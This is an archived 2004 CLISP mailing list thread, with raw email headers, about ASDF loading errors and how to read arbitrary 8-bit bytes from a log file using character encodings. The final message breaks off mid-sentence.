18:02:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B33uK-0005wa-SS for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 18:02:16 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B33uF-0006cb-O2 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 18:02:11 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2G22A116111; Mon, 15 Mar 2004 20:02:10 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B33uE-0001mE-00; Mon, 15 Mar 2004 20:02:10 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 18:28:12 2004 X-Original-Date: Mon, 15 Mar 2004 20:02:10 -0600 With the asdf and clisp files I have, I'm still getting errors like this -- [1]> (load "/usr/local/src/asdf/asdf.lisp") ;; Loading file /usr/local/src/asdf/asdf.lisp ... *** - Error: ~:@> not implemented Current point in control string: ~@ I'm just curious to know whether anyone who is using a clisp version with number > 2.32 is having any success using asdf. On Mon, 01 Mar 2004 , Steven E. Harris sent me a link that I wasn't able to make sense of... but I think it was meant to point to the first hit you get when you search Google groups for "asdf clisp". Unfortunately, the that was being talked about there (just load an old asdf.fas) things don't work for me. If I fake the date at the top of the fas file, I get ;; Loading file /Users/arided/asdf.fas ... *** - SYSTEM::%MAKE-CLOSURE: invalid side-effect class (T . T) for function #:|(DEFPACKAGE #:ASDF (:EXPORT #:DEFSYSTEM #:OOS ...) ...)-1-1| Any one know what the official status is for this package under clisp? From pascal@informatimago.com Mon Mar 15 18:35:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B34QM-00021I-Bt for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 18:35:22 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B34QG-0007bt-PL for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 18:35:17 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C723A586E2; Tue, 16 Mar 2004 03:35:07 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2EEA738394; Tue, 16 Mar 2004 03:36:54 +0100 (CET) Message-ID: <16470.26694.100261.530200@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.20563.531814.222760@isis.cs3-inc.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.20563.531814.222760@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 18:37:43 2004 X-Original-Date: Tue, 16 Mar 2004 03:36:54 +0100 Don Cohen writes: > > I now realize that this is not a problem with encodings but a problem > with READ. > > > *** - READ from #: \illegal character #\U008D > > It had not occurred to me that certain characters would not be allowed > by READ. I imagined that all those that were not otherwise specified > would be treated like alphabetic characters. > How foolish of me. There is no character with code 141. The error message is misleading. On the other hand, if you're trying to apply the lisp reader on random input, it's not surprizing that some lexical error may occur. Actually, I've got no problem in reading strings containing all the byte values from 0 to 255. [15]> (with-open-file (in "/tmp/a" :direction :input :external-format (ext:make-encoding :charset "iso-8859-1" :line-terminator :unix)) (dotimes (i 17) (read-line in))) NIL I'm realizing that you're using the LISP reader to read random data files. Why are you doing that? For all I know, /root/http/log does not contain any LISP data (symbols, strings, numbers, lists, structures), does it? Of course, the LISP reader, which use the *readtable* will find that the (pseudo- IMO) character with code 141 has no valid syntax, so it calls it "illegal", under _its_ law. [18]> (set-syntax-from-char #\% #\u008d) T [19]> '%oto *** - READ from # #>: illegal character #\% If you really have LISP data in this file and want to be able to read unescaped symbols, the you should copy a legal syntax to these characters. But what syntax? Is it used as a symbol constituent, as a whitespace, as a macro character, or as an escape? Assuming you want it as a constituent, you could do: (set-syntax-from-char #\u008d #\a) and be happy. [22]> (set-syntax-from-char #\% #\a) T [23]> '%toto %TOTO On the other hand, as is most probable, you just have plain data in this file, then you don't want to use READ on it. Stay with READ-STRING, READ-CHAR, or READ-BYTE. With READ-STRING and READ-CHAR, you still have to ensure that your file contains valid byte sequences for the encoding it uses. If you want to be able to read random bytes, use READ-BYTE. See my previous messages. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Mon Mar 15 19:11:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B34zO-000187-K9 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 19:11:34 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B34zN-0007il-DC for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 19:11:33 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2G36F329710; Mon, 15 Mar 2004 19:06:15 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16470.28455.502596.976476@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.26694.100261.530200@thalassa.informatimago.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.20563.531814.222760@isis.cs3-inc.com> <16470.26694.100261.530200@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 19:58:23 2004 X-Original-Date: Mon, 15 Mar 2004 19:06:15 -0800 Pascal J.Bourguignon writes: > > Don Cohen writes: > > > > I now realize that this is not a problem with encodings but a problem > > with READ. > > > > *** - READ from #: \illegal character #\U008D > > > > It had not occurred to me that certain characters would not be allowed > > by READ. I imagined that all those that were not otherwise specified > > would be treated like alphabetic characters. > > How foolish of me. > > There is no character with code 141. The error message is misleading. What do you think #\U008D is? From pascal@informatimago.com Mon Mar 15 20:21:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3655-0004Dj-Il for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 20:21:31 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3654-0001hM-6q for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 20:21:30 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0C734586E2; Tue, 16 Mar 2004 05:21:28 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5739238317; Tue, 16 Mar 2004 05:23:14 +0100 (CET) Message-ID: <16470.33074.290049.859248@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.28455.502596.976476@isis.cs3-inc.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.20563.531814.222760@isis.cs3-inc.com> <16470.26694.100261.530200@thalassa.informatimago.com> <16470.28455.502596.976476@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 20:28:36 2004 X-Original-Date: Tue, 16 Mar 2004 05:23:14 +0100 Don Cohen writes: > Pascal J.Bourguignon writes: > > There is no character with code 141. The error message is misleading. > > What do you think #\U008D is? A figment of clisp unicode's imagination. :-) While there is only one encoding and only one character set, you can always add imaginary characters to get a 1-1 mapping between the encoding and the character set. But once you want to manage various encoding, while you can always recognize and unify an upper case latin a letter, and associate it with the corresponding byte sequences in the various encodings, you would have much more difficulties doing the same starting from unassigned byte sequences from the various encodings. Does 141 in ISO-8859-1 correspond to 63 or 137 in EBCDIC? You have a different number of unassigned codes in the various encodings. How many imaginary characters will you create? How will you map the various encodings since there's not the same number? On the other hand, you could manage internally codes instead of managing characters. That's what C does. But that's not what Lisp does (or wants to do). -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From philipchu@technicat.com Mon Mar 15 23:06:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2zF2-0007dz-Ux for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 13:03:20 -0800 Received: from front1.mail.megapathdsl.net ([66.80.60.31]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B2zF1-00029K-W3 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 13:03:19 -0800 Received: from [216.36.89.139] (HELO technicat.com) by front1.mail.megapathdsl.net (CommuniGate Pro SMTP 4.1.8) with ESMTP id 133425249; Mon, 15 Mar 2004 13:03:14 -0800 Message-ID: <40561A11.9060500@technicat.com> From: Phil Chu User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Cohen CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] character sets References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.5018.232595.180791@isis.cs3-inc.com> In-Reply-To: <16470.5018.232595.180791@isis.cs3-inc.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 23:07:18 2004 X-Original-Date: Mon, 15 Mar 2004 13:03:13 -0800 Hi Don, This might be of no practical use, but note that unicode is just an assignment of numbers to characters, and there are a variety of encodings available, e.g. latin-1 and utf-8 both encode the characters 0-255 with one byte. As I remember, Java is defined to support unicode internally but specific encodings can be used with the I/O methods. I don't know what the situation is with CL. -Phil Don Cohen wrote: > Pascal J.Bourguignon writes: > > > Don Cohen writes: > > > This must be a frequently asked question - I must have asked it myself. > > > Is there some character set that contains 256 8 bit bytes? > > > > You are mixing two different things. You can have a set of 256 > > character. And you can have a character encoding using 8-bit bytes. > > > > Normally, clisp is compiled to have unicode characters. There is more > > than 256 unicode characters. The number of bits used to store a > > unicode character is implementation dependent, and most probably > > variable (a unicode character may need various code points). > > I think it was clear what I want. > I want a character set with 256 characters, and an encoding that > maps those 1-1 with all of the 8 bit combinations. > I want no multibyte characters. > > > > All I really want to do is read characters without any errors. > > > > Then provide an error-free file! > I consider a file containing 256 different bytes to be error free. > > > > Somehow I got the impression from impnotes that this could be done > > > with > > > (with-open-file > > > (f "/root/http/log" :external-format > > > (make-encoding :input-error-action :ignore)) ...) > > > but I still get > > > *** - READ from #: \illegal character #\U008D > > > > > > It would be even better if I could then figure out what the bytes had > > > been from the characters (1-1 mapping). > > > > You cannot because it depends on the encoding used. > > But make-encoding should be able to make an encoding that does > whatever I want, shouldn't it? > > > I have the feeling that what you want to do is to actually read binary > > bytes instead of reading characters. > > That's what I have been forced to do so far. > But that seems absurd. Why not create the obvious encoding and use > characters? > > > This is probably unrelated, but clisp can be compiled to support only > > 256 characters instead of all unicode characters. > > > > --without-unicode no UNICODE support: character=8bit > > > > I don't know what it would do if you tried to read in such a dumbed > > down beast an ISO-8859-1 file and a ISO-8859-2 file. > > It is not unrelated. If I can do it without unicode (which I've not > actually checked) then I should be able to do it with unicode. > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Phil Chu philipchu@technicat.com http://www.technicat.com/ From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 16 02:10:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3BWa-0006vi-L0 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:10:16 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3BWZ-0005Dz-On for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:10:15 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 16 Mar 2004 11:10:05 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 16 Mar 2004 11:10:05 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforgexx@isis.cs3-inc.com Subject: [clisp-list] character sets MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 02:11:11 2004 X-Original-Date: Tue, 16 Mar 2004 11:10:02 +0100 Hi, Don Cohen writes: >This must be a frequently asked question - I must have asked it myself. >Is there some character set that contains 256 8 bit bytes? >All I really want to do is read characters without any errors. I wrote an entry for the CL cookbook: "Faithful Output with Character Streams" http://cl-cookbook.sourceforge.net/io.html#faith Pascal Bourguignon wrote: >Actually, I've got no problem in reading strings containing all the >byte values from 0 to 255. >[15]> (with-open-file (in "/tmp/a" :direction :input :external-format (ext:make-encoding :charset "iso-8859-1" :line-terminator :unix)) That proves nothing except that you were able to read one particular sequence of bytes as characters. Basically, my article shows how to do 8bit writes using characters. For input (read), you're doomed w.r.t. faithful input because there's no way to get around CLISP's CRLF translation at end-of line. If that difference is not important to you, you can use the same settings as for output: iso-8859-1 and :line-terminator :unix (as Pascal shows). You should then be able to read all 8-bit values without errors, as you requested (yet beware when some inputs end in CR, CLISP will probably wait for a possible LF before it returns a #\Newline, or it may return #\Newline immediately and remember to goble a possible consecutive LF, I forgot the exact behaviour). BTW (yet OT), the XML standard mandates a similar conversion of line-endings. Application processing XML do not see the original line-terminator, they get a single UNIX-line #\Newline. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 16 02:30:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3Bq1-0001JX-8i for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:30:21 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3Bpz-0000lb-Td for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:30:20 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 11:30:13 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 16 Mar 2004 11:30:13 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 02:31:12 2004 X-Original-Date: Tue, 16 Mar 2004 11:28:25 +0100 Hi, Pascal replied to Don Cohen: >I'm realizing that you're using the LISP reader to read random data >files. 1. That file is not guranteed to contain pure ASCII, e.g. it could = embded URL-requests as is, which might very well contain Umlauts in DOS = or Latin-1 or whatever format -- I just don't know, and you probably = don't know either! 2. Therefore, and for typical purposes, it's reasonable to just be able = to ask for being able to read such a file without errors, as Don did, = under the following hypotheses: - the file is a collection of text lines. - the data is mostly ASCII, which means that [CR]LF can be used to = detect the end-of-line. - the data is mostly ASCII, and the first positions of each line will = be readable under that assumption (e.g. date, time, etc.) For such a purpose, I recommend using ISO-8859-1 and :line-terminator = :unix. It may not be the encoding used to write the data, but + it's an 8-bit superset of ASCII (unlike UTF-8) and + it provides means in CLISP to most likely process the extra = characters and write them to other files, even though the actual data = may be cyrillic, Hangul, UTF-8 or whatever. The point where it might break is that I don't know whether Hangul = (Korea), Japanese and other countries encodings which use multi-byte = sequences can embed something which could be mistaken as CR or LF when = read bytewise and which could find its way into the log files. BTW, I recommend using READ-CHAR-SEQUENCE to process log files. I = talked about that here when I mentioned my "10 times faster than perl" = firewall log-processing application a year or so ago. You need = buffering to achieve performance. Regards, J=F6rg H=F6hle From edi@agharta.de Tue Mar 16 02:57:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3CGi-0005IT-A7 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:57:56 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3CGg-0006ze-6m for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 02:57:54 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id 83043288F1; Tue, 16 Mar 2004 11:57:05 +0100 (CET) To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] status of asdf with clisp? Reply-To: edi@agharta.de References: From: Edi Weitz In-Reply-To: (Joe Corneli's message of "Mon, 15 Mar 2004 20:02:10 -0600") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 02:58:05 2004 X-Original-Date: Tue, 16 Mar 2004 11:57:05 +0100 On Mon, 15 Mar 2004 20:02:10 -0600, Joe Corneli wrote: > With the asdf and clisp files I have, I'm still getting > errors like this -- > > [1]> (load "/usr/local/src/asdf/asdf.lisp") > ;; Loading file /usr/local/src/asdf/asdf.lisp ... > *** - Error: ~:@> not implemented > Current point in control string: > ~@ > > I'm just curious to know whether anyone who is using a clisp version > with number > 2.32 is having any success using asdf. > > On Mon, 01 Mar 2004 , Steven E. Harris sent me a link that I wasn't > able to make sense of... but I think it was meant to point to the > first hit you get when you search Google groups for "asdf clisp". > > Unfortunately, the that was being talked about there (just load an > old asdf.fas) things don't work for me. Did you try the asdf.fas file available from this address? Edi. From pascal@informatimago.com Tue Mar 16 05:22:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3EWX-0007vp-MD for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 05:22:25 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3EWW-0006vb-5w for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 05:22:24 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 357D0586E2; Tue, 16 Mar 2004 14:22:17 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E6B4138A46; Tue, 16 Mar 2004 14:24:02 +0100 (CET) Message-ID: <16470.65522.872856.265165@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com Cc: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 05:24:20 2004 X-Original-Date: Tue, 16 Mar 2004 14:24:02 +0100 oehle, Joerg-Cyril writes: > Hi, > > Pascal replied to Don Cohen: > >I'm realizing that you're using the LISP reader to read random data > >files. > > 1. That file is not guranteed to contain pure ASCII, e.g. it could > embded URL-requests as is, which might very well contain Umlauts in DOS > or Latin-1 or whatever format -- I just don't know, and you probably > don't know either! > > > 2. Therefore, and for typical purposes, it's reasonable to just be able > to ask for being able to read such a file without errors, as Don did, > under the following hypotheses: > - the file is a collection of text lines. > - the data is mostly ASCII, which means that [CR]LF can be used to > detect the end-of-line. > - the data is mostly ASCII, and the first positions of each line will > be readable under that assumption (e.g. date, time, etc.) > > For such a purpose, I recommend using ISO-8859-1 and :line-terminator > :unix. > It may not be the encoding used to write the data, but > + it's an 8-bit superset of ASCII (unlike UTF-8) and > + it provides means in CLISP to most likely process the extra > characters and write them to other files, even though the actual data > may be cyrillic, Hangul, UTF-8 or whatever. Ok. I was in error when I wrote that there is no character with code ISO-8859-1 equal to 141. I thought that between 128 and 159 codes were not assigned (and that an implementation would 